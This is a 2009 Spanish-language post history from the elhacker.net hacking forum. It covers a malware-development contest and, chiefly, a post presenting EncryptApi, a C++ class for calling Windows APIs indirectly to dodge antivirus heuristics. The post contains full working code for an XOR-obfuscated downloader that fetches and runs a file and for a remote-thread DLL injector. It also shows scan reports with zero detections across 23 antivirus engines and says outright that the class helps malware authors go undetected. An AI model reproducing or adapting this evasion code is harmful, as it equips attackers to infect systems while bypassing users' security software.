elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 115
11  Seguridad Informática / Análisis y Diseño de Malware / Re: [Vb] Dioxis: Conexion Inversa by 50l3r en: 23 Mayo 2009, 14:20 pm
Citar
porcierto puse una duda en vb6, quiero que el cliente genere el servidor, es decir que puedas cambiar la ip a la que va el servidor para que no todas vayan a m dominio no-ip, sino que la gente lo use para ellos, haber si me podeis ayudar y cuando acabe eso lo pongo

http://foro.elhacker.net/index.php/topic,171824.0.html

Buen trabajo, para ser tu primer proyecto no pinta nada mal ;)

Puedes escanear el server aquí:
http://scanner.novirusthanks.org/index.php?options=1

Marcando la opción de no distribuir sin ningún problema (en cuanto la web esté on)
Salu2
12  Seguridad Informática / Abril negro / Re: [Abril Negro 2009] Encuesta del concurso de desarrollo de malware en: 21 Mayo 2009, 14:02 pm
Jajajaja eso no lo había visto, ya que nunca me paso por el foro libre, pero oye, le a funcionado, como se suele decir el que no llora no mama :P
13  Seguridad Informática / Abril negro / Re: [Abril Negro 2009] Encuesta del concurso de desarrollo de malware en: 21 Mayo 2009, 13:47 pm
Alaaaaaaa!! remontada de WHK a tres días el cierre de la votación, has estado haciendo spam por el msn eh?? que te e pillado :P jajajaja
14  Seguridad Informática / Abril negro / [Recopilatorio] Historia de Abril Negro en: 20 Mayo 2009, 01:59 am
      Con ánimo de organizar un poco mejor la extensa información de este subforo se van a crear nuevos post recopilatorios. Por favor, dado el gran número de post del foro es muy posible que algún post se nos pase por alto, no dudes en mandarme un MP para que se incluya en el recopilatorio. Si se encuentra algún error lo mismo ;)

      En este post se recopilarán todas las herramientas, manuales y códigos presentados en este evento desde sus inicios.




    Abril Negro 2006:

    Esta fue la primera edición del ya tradicional evento. Abril Negro se empezaría a lanzar a partir de este año, obviamente todos los meses de abril, para permitir a todos los usuarios hablar de los temas "tabú" del foro:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro-t112698.0.html

    De igual manera se motiva a los usuarios a escribir toda clase de manuales, liberar códigos o diseñar herramientas de seguridad caseras, una muestra de lo que se hizo este año:

    Recopilación de manuales:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/papers_abril_negro-t113673.0.html

    Algunas herramientas que he podido rescatar:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_generador_de_worms_en_batch_by_hendrix-t118254.0.html
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_fake_by_higochumbo-t116693.0.html
    http://foro.elhacker.net/analisis_y_diseno_de_malware/primary_hacktool_v30_benru_sergi-t119661.0.html




    Abril Negro 2007:

    Este año Abril Negro tomo desgraciadamente un tono más negro de lo deseado y no se hizo mucha cosa, un post en el que se pusieron scripts maliciosos y muchas preguntas de como usar troyanos en el foro, por suerte eso cambiaría en años posteriores:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2007-t160386.0.html




    Abril Negro 2008:

    No con poca polémica, quizás por los resultados del año anterior, consiguió una vez más ver la luz este evento. Esta vez, el objetivo fue retomar el espíritu de los inicios del evento publicando más manuales, más herramientas y más códigos y se consiguió.
    http://foro.elhacker.net/analisis_y_diseno_de_malware/black_april_2008-t205970.0.html

    Esta es una muestra de lo que he conseguido rescatar del foro:

    Talleres y herramientas/códigos:


     


    Abril Negro 2009:

    En esta edición los usuarios del foro se salieron. Gracias a la instauración de las nuevas normas y del pertinente cambio del nombre del foro se acusó una interesante subida de nivel.

    En esta ocasión se llevó a cabo un concurso:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_concurso_de_desarrollo_de_malware-t252105.0.html

    Y pese a que no se publicó ningún manual se publicaron un total de 24 herramientas/códigos y esta vez todo lo que veis aquí es lo que se publicó gracias la la pertinente recopilación:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009-t250385.0.html

    Herramientas/Códigos:

    15  Seguridad Informática / Abril negro / Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente) en: 18 Mayo 2009, 15:27 pm
    Creo que no has entendido muy bien el funcionamiento, esto es una clase que ayuda a los programadores de malware en C++ a hacer sus códigos indetectables, si te refieres a las protecciones proactivas (vease la del KAV) al llamar al api si el kav salta va a seguir saltando...
    16  Seguridad Informática / Abril negro / Re: [Abril Negro 2009] Concurso de desarrollo de malware en: 18 Mayo 2009, 15:21 pm
    Pues todos los trabajos añadidos (en total 9) y se ha abierto una encuesta que durará 7 días en un tema aparte por que no tengo permisos para añadirla en este :P
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_encuesta_del_concurso_de_desarrollo_de_malware-t255183.0.html

    MITM, si puedes añadir la encuesta a este tema mejor ;)

    Tema cerrado
    17  Seguridad Informática / Abril negro / [Abril Negro 2009] Encuesta del concurso de desarrollo de malware en: 18 Mayo 2009, 15:19 pm
      Tema principal:
      http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_concurso_de_desarrollo_de_malware-t252105.0.html

      Para más información:



      Resultado:

      • Premio a mejor código: Hacker_Zero y hkm (Empate)
      • Premio a la aplicación más original: Hacker_Zero y Jubjub (Empate)
      • Ganador de la votación: Hacker_Zero (tras conseguir 14 puntos extra por los dos premios anteriores)

      El-brujo se pondrá en contacto con vosotros para daros vuestro premio.

      Muchas felicidades a lo ganadores. Felicidades también a el resto de participantes por poner tanto empeño en vuestras aplicaciones y gracias al resto por colaborar en este Abril Negro haciendo que haya sido uno de los mejores ;)
      18  Seguridad Informática / Abril negro / Re: [Abril Negro 2009] Concurso de desarrollo de malware en: 16 Mayo 2009, 22:44 pm
      Ahí apurando tiempo eh!! xDD Pues por ahora se presentan 8 concursantes y mañana se pondrá la encuesta :P
      19  Seguridad Informática / Abril negro / Re: Clase EncryptApi (Haz tus códigos indetectables fácilmente) en: 16 Mayo 2009, 20:41 pm
      Si YST es similar, ahora está mejorado, automatizado y es indetectable ;)

      Gracias por la chincheta MITM, menos mal que te has vuelto a poner tu nick de siempre  y que vuelves a moderar como siempre xDD
      20  Seguridad Informática / Abril negro / Clase EncryptApi (Haz tus códigos indetectables fácilmente) en: 16 Mayo 2009, 17:02 pm
      EncryptApi:

      • ¿Qué es EncryptApi?

        EncryptApi es una platilla escrita en C++ que vale para cifrar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código.
        Su uso es tan simple como este:

        Código
        1. #include "EncryptApi.hpp"
        2.  
        3. int main()
        4. {
        5. EncryptApi<int> myMessageBox("MessageBoxA","User32.dll", 5);
        6. int retorno = myMessageBox(4, 0, "HOLA MUNDO!!", ":D", 0);
        7. }

      • ¿Qué es cada parámetro?

        Como habréis visto el uso es bastante simple, la declaración funciona así:

        Código
        1. EncryptApi<tipo_valor_de_retorno> (nombre_del_api, nombre_de_la_dll, numero_de_bytes_a_copiar);

        Y gracias a la sobrecarga del operador () se puede llamar al api como se haría normalmente tan solo indicando en el primer parámetro el número total de parámetros del api.

      • ¿Qué es número_de_bytes_a_copiar?

        Esta es la única parte parte que tiene un poco de dificultad. Internamente la clase crea un buffer donde copia los bytes que le indiquemos en este parámetro he introduce un salto a la dirección del api más número_de_bytes_a_copiar.
        De esta forma la clase, en vez de llamar al api, llama a este buffer, ejecutándose todo el código del api pero sin realizar una llamada directa, por lo que los antivirus ni se enteran.

        ¿Cómo podemos saber cuanto vale este valor? Pues muy fácil, ejecutamos el archivoDirApi.exe, que nos devolverá la dirección del api en memoria. Su código es este:

        Código
        1. #include <windows.h>
        2. #include <iostream>
        3. using namespace std;
        4.  
        5. void main()
        6. {
        7. char nombreApi[50];
        8. char nombreDll[50];
        9.  
        10. cout << "Introduzca el nombre del api:   ";
        11. cin  >> nombreApi;
        12. cout << "Introduzca el nombre de la dll: ";
        13. cin  >> nombreDll;
        14.  
        15. cout << "\nLa direccion del api es: "
        16. << GetProcAddress(LoadLibraryA(nombreDll), nombreApi) << endl;
        17.  
        18. system("pause");
        19. }

        En el caso del ejemplo la salida en mi PC es la siguiente:

        Citar
        Introduzca el nombre del api:   MessageBoxA
        Introduzca el nombre de la dll: User32.Dll

        La direccion del api es: 77D504EA
        Presione una tecla para continuar . . .

        Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.

      • ¿Y los resultados?

        Pues voy aponer dos ejemplos típicamente detectados, un simple downloader y un inyector (usa CreateRemoteThread).

        DOWNLOADER:
        Código
        1. #include "EncryptApi.hpp"
        2.  
        3. void xor(char *str, const char *clave, const int tamStr, const int tamClave)
        4. {
        5. for(int n=0; n<=tamStr; n++)
        6. str[n] ^= clave[n%tamClave];
        7. }
        8.  
        9. int main()
        10. {
        11. // Encriptacion de cadenas
        12. const char key[] = "df5DF4s";
        13. const int  tamKey = 7;
        14.  
        15. char strURLDownloadToFileA[] = { 0x31, 0x34, 0x79, 0x0, 0x29, 0x43, 0x1d, 0x8, 0x9, 0x54, 0x20,
        16.         0x12, 0x5b, 0x35, 0xd, 0xa, 0x50, 0x5, 0x46 };
        17. char strUrlmon[] =             { 0x31, 0x14, 0x59, 0x29, 0x29, 0x5a, 0x5d, 0x0, 0xa, 0x59, 0x44 };
        18. char strShellExecuteA[] =      { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x71, 0xb, 0x1, 0x5, 0x40, 0x30, 0x23, 0x75, 0x73 };
        19. char strShell32[] =            { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x7, 0x41, 0x4a, 0x2, 0x59, 0x28, 0x46 };
        20.  
        21. xor(strURLDownloadToFileA, key, sizeof(strURLDownloadToFileA)-1, tamKey);
        22. xor(strUrlmon,             key, sizeof(strUrlmon)-1,             tamKey);
        23. xor(strShellExecuteA,      key, sizeof(strShellExecuteA)-1,      tamKey);
        24. xor(strShell32,            key, sizeof(strShell32)-1,            tamKey);
        25.  
        26. // Codigo
        27. EncryptApi<HRESULT>   myURLDownloadToFile(strURLDownloadToFileA, strUrlmon, 11);
        28. EncryptApi<HINSTANCE> myShellExecute     (strShellExecuteA, strShell32, 5);
        29.  
        30. myURLDownloadToFile (5, 0, "http://foro.elhacker.net/Themes/converted/selogo.jpg", "C:\\imagen.jpg", 0, NULL);
        31. myShellExecute      (6, 0, "open", "C:\\imagen.jpg", NULL, NULL, SW_SHOW);
        32. }
        33.  

        Detección:
        Citar
        File Info

        Report generated: 16.5.2009 at 14.53.10 (GMT 1)
        File size: 8 KB
        MD5 Hash: 70B16F803C25C5E50A27A07F765CDB68
        SHA1 Hash: 98190B3085CCFAFC91BCF4458A072728C2E0D895
        Self-Extract Archive: Nothing found
        Binder Detector:  Nothing found
        Detection rate: 0 on 23

        Detections

        a-squared - Nothing found!
        Avira AntiVir - Nothing found!
        Avast - Nothing found!
        AVG - Nothing found!
        BitDefender - Nothing found!
        ClamAV - Nothing found!
        Comodo - Nothing found!  
        Dr.Web - Nothing found!
        Ewido - Nothing found!
        F-PROT 6 - Nothing found!
        IkarusT3 - Nothing found!
        Kaspersky - Nothing found!
        McAfee - Nothing found!  
        MHR (Malware Hash Registry) - Nothing found!
        NOD32 v3 - Nothing found!  
        Norman - Nothing found!
        Panda - Nothing found!
        Quick Heal - Nothing found!
        Solo Antivirus - Nothing found!
        Sophos - Nothing found!
        TrendMicro - Nothing found!
        VBA32 - Nothing found!    
        Virus Buster - Nothing found!

        Scan report generated by  
        NoVirusThanks.org


        INYECTOR:
        Código
        1. #include "EncryptApi.hpp"
        2.  
        3. void xor(char *str, const char *clave, const int tamStr, const int tamClave)
        4. {
        5. for(int n=0; n<=tamStr; n++)
        6. str[n] ^= clave[n%tamClave];
        7. }
        8.  
        9. int main()
        10. {
        11. // Encriptacion de cadenas
        12. const char key[] = "df5DF4s";
        13. const int  tamKey = 7;
        14.  
        15. char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b,
        16.                             0x16, 0x3, 0x54, 0x20, 0x46 };
        17. char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16,
        18.                             0x9, 0x9, 0x47, 0x3d, 0x46 };
        19. char strVirtualAllocEx[]     = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb,
        20.                             0x64 };
        21. char strOpenProcess[]        = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
        22. char strGetModuleHandleA[]   = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f,
        23.                               0x1, 0x27, 0x35 };
        24. char strGetProcAddress[]     = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0,
        25.                             0x64 };
        26. char strCloseHandle[]        = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
        27. char strKernel32[]           = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };
        28.  
        29.  
        30. xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
        31. xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
        32. xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
        33. xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
        34. xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
        35. xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
        36. xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
        37. xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);
        38.  
        39. EncryptApi<HANDLE>  myOpenProcess         (strOpenProcess, strKernel32, 5);
        40. EncryptApi<HMODULE> myGetModuleHandle     (strGetModuleHandleA, strKernel32, 5);
        41. EncryptApi<FARPROC> myGetProcAddress      (strGetProcAddress, strKernel32, 5);
        42. EncryptApi<LPVOID>  myVirtualAllocEx      (strVirtualAllocEx, strKernel32, 7);
        43. EncryptApi<BOOL>    myWriteProcessMemory  (strWriteProcessMemory, strKernel32, 5);
        44. EncryptApi<HANDLE>  myCreateRemoteThread  (strCreateRemoteThread, strKernel32, 5);
        45. EncryptApi<BOOL>    myCloseHandle         (strCloseHandle, strKernel32, 5);
        46.  
        47. // Inyeccion dll
        48. HANDLE proceso;
        49. LPVOID RemoteString;
        50. LPVOID nLoadLibrary;
        51. int pid = 1988;
        52. char rutaDll[] = "C:\\Dll.dll";
        53.  
        54. proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
        55. nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
        56. RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
        57. myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
        58. myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
        59. myCloseHandle(1,proceso);
        60.  
        61.  
        62. return 0;
        63. }
        64.  

        Detección:
        Citar
        File Info

        Report generated: 16.5.2009 at 16.28.41 (GMT 1)
        File size: 11 KB
        MD5 Hash: 52CDDB1FB86FD33D2FFF238FDAB67CED
        SHA1 Hash: 029C18B8FECC2522C65AB88C04D820EF32ECC091
        Self-Extract Archive: Nothing found
        Binder Detector:  Nothing found
        Detection rate: 0 on 23

        Detections

        a-squared - Nothing found!
        Avira AntiVir - Nothing found!
        Avast - Nothing found!
        AVG - Nothing found!
        BitDefender - Nothing found!
        ClamAV - Nothing found!
        Comodo - Nothing found!  
        Dr.Web - Nothing found!
        Ewido - Nothing found!
        F-PROT 6 - Nothing found!
        IkarusT3 - Nothing found!
        Kaspersky - Nothing found!
        McAfee - Nothing found!  
        MHR (Malware Hash Registry) - Nothing found!
        NOD32 v3 - Nothing found!  
        Norman - Nothing found!
        Panda - Nothing found!
        Quick Heal - Nothing found!
        Solo Antivirus - Nothing found!
        Sophos - Nothing found!
        TrendMicro - Nothing found!
        VBA32 - Nothing found!    
        Virus Buster - Nothing found!

        Scan report generated by  
        NoVirusThanks.org

        Como podéis ver de forma complementaria he usado una función para cifrar algunas cadenas, pues algún AV detectaba el ejecutable simplemente por contener esos strings sospechosos. Podéis usar cualquier cifrado, aunque un simple xor basta. He adjuntado el archivo XOR.exe que os devuelve la cadena cifrada para que la metáis en vuestro código directamente.

        Todos los códigos han sido compilados con VC++ 2008 express edition.


        Más información:
        http://e0n-productions.blogspot.com/2009/05/encryptapi.html

        Descarga:
        http://e0n-productions.awardspace.com/codigos/EncryptApi.rar_

        Traducción de la parte en asm a AT&T por Arcangel_0x7C5:
        http://arkangel.comuf.com//c++/EncryptApi.hpp
      Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 115
      WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines